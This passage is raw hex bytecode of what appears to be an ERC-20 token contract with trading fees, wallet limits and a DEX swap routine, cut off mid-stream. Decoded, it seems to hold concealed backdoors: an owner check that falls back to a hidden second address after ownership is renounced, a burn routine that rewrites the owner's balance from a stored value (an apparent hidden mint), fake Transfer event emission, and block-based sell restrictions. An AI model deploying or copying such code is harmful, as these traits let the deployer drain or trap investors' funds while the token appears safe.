565b9250905081840481111562000978576200097762000802565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009a98262000985565b9150620009b6836200098f565b9250620009e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000899565b905092915050565b6000620009fa8262000985565b915062000a078362000985565b925082820262000a178162000985565b9150828204841483151762000a315762000a3062000802565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a6a8262000a3d565b9050919050565b62000a7c8162000a5d565b811462000a8857600080fd5b50565b60008151905062000a9c8162000a71565b92915050565b60006020828403121562000abb5762000aba62000a38565b5b600062000acb8482850162000a8b565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b5657607f821691505b60208210810362000b6c5762000b6b62000b0e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bd67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b97565b62000be2868362000b97565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000c2562000c1f62000c198462000985565b62000bfa565b62000985565b9050919050565b6000819050919050565b62000c418362000c04565b62000c5962000c508262000c2c565b84845462000ba4565b825550505050565b600090565b62000c7062000c61565b62000c7d81848462000c36565b505050565b5b8181101562000ca55762000c9960008262000c66565b60018101905062000c83565b5050565b601f82111562000cf45762000cbe8162000b72565b62000cc98462000b87565b8101602085101562000cd9578190505b62000cf162000ce88562000b87565b83018262000c82565b50505b505050565b600082821c905092915050565b600062000d196000198460080262000cf9565b1980831691505092915050565b600062000d34838362000d06565b9150826002028217905092915050565b62000d4f8262000ad4565b67ffffffffffffffff81111562000d6b5762000d6a62000adf565b5b62000d77825462000b3d565b62000d8482828562000ca9565b600060209050601f83116001811462000dbc576000841562000da7578287015190505b62000db3858262000d26565b86555062000e23565b601f19841662000dcc8662000b72565b60005b8281101562000df65784890151825560018201915060208501945060208101905062000dcf565b8683101562000e16578489015162000e12601f89168262000d06565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e74601f8362000e2b565b915062000e818262000e3c565b602082019050919050565b6000602082019050818103600083015262000ea78162000e65565b9050919050565b600062000ebb8262000985565b915062000ec88362000985565b925082820190508082111562000ee35762000ee262000802565b5b92915050565b62000ef48162000985565b82525050565b600060208201905062000f11600083018462000ee9565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000f4f60208362000e2b565b915062000f5c8262000f17565b602082019050919050565b6000602082019050818103600083015262000f828162000f40565b9050919050565b6080516142a762000fba60003960008181610c7a0152818161285f01528181612940015261297d01526142a76000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b80639fa04811116100f25780639fa04811146105b6578063a457c2d7146105f3578063a9059cbb14610630578063afa4f3b21461066d578063b18834aa1461069657610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e63565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612ece565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ee9565b610b7c565b6040516103319190612cd4565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612ece565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f58565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610bba565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f73565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612fb3565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612ece565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d8919061305a565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611004565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612c79565b61107b565b6040516106649190612cd4565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f9190612fb3565b61109e565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061314c565b6110ce565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061305a565b6111ab565b005b3480156106f457600080fd5b506106fd6111f7565b60405161070a9190612ece565b60405180910390f35b34801561071f57600080fd5b506107286111fd565b005b34801561073657600080fd5b5061073f611222565b60405161074c9190612ece565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612ece565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612ece565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612ece565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612ece565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b610a75611528565b60005b8251811015610b6d578160016000858481518110610a9957610a98613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cd4565b60405180910390a28080610b65906133c3565b915050610a78565b505050565b6000600354905090565b600080610b87611357565b9050610b948582856115a6565b610b9f858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610bc5611357565b9050610be6818585610bd78589611228565b610be1919061340b565b61135f565b600191505092915050565b610bf9611528565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c419061348b565b60405180910390fd5b81601381905550806012819055505050565b610c64611528565b610c75610c6f611357565b82611f8e565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610b72565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008061100f611357565b9050600061101d8286611228565b905083811015611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110599061361b565b60405180910390fd5b61106f828686840361135f565b60019250505092915050565b600080611086611357565b9050611093818585611632565b600191505092915050565b6110a6611528565b6110ae610bb1565b600a6110ba919061376e565b816110c591906137b9565b60108190555050565b6110d6611528565b60005b838390508110156111a5578383828181106110f7576110f6613365565b5b905060200201602081019061110c919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161118a9190612ece565b60405180910390a3808061119d906133c3565b9150506110d9565b50505050565b6111b3611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b611205611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612ece565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612ece565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612ece565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612cf4565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d2c82612b65565b810181811067ffffffffffffffff82111715612d4b57612d4a612cf4565b5b80604052505050565b6000612d5e612bd1565b9050612d6a8282612d23565b919050565b600067ffffffffffffffff821115612d8a57612d89612cf4565b5b602082029050602081019050919050565b600080fd5b6000612db3612dae84612d6f565b612d54565b90508083825260208201905060208402830185811115612dd657612dd5612d9b565b5b835b81811015612dff5780612deb8882612c2e565b845260208401935050602081019050612dd8565b5050509392505050565b600082601f830112612e1e57612e1d612cef565b5b8135612e2e848260208601612da0565b91505092915050565b612e4081612cb9565b8114612e4b57600080fd5b50565b600081359050612e5d81612e37565b92915050565b60008060408385031215612e7a57612e79612bdb565b5b600083013567ffffffffffffffff811115612e9857612e97612be0565b5b612ea485828601612e09565b9250506020612eb585828601612e4e565b9150509250929050565b612ec881612c43565b82525050565b6000602082019050612ee36000830184612ebf565b92915050565b600080600060608486031215612f0257612f01612bdb565b5b6000612f1086828701612c2e565b9350506020612f2186828701612c2e565b9250506040612f3286828701612c64565b9150509250925092565b600060ff82169050919050565b612f5281612f3c565b82525050565b6000602082019050612f6d6000830184612f49565b92915050565b60008060408385031215612f8a57612f89612bdb565b5b6000612f9885828601612c64565b9250506020612fa985828601612c64565b9150509250929050565b600060208284031215612fc957612fc8612bdb565b5b6000612fd784828501612c64565b91505092915050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612e4e565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612cef565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612d9b565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612ebf565b9392505050565b60008151905061333281612e37565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475601683612b2a565b91506134808261343f565b602082019050919050565b600060208201905081810360008301526134a481613468565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613394565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613394565b5b8360020a91508482111561370257613701613394565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613394565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613394565b5b81810290505b9392505050565b600061377982612c43565b915061378483612f3c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613394565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b600060208201905081810360008301526139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612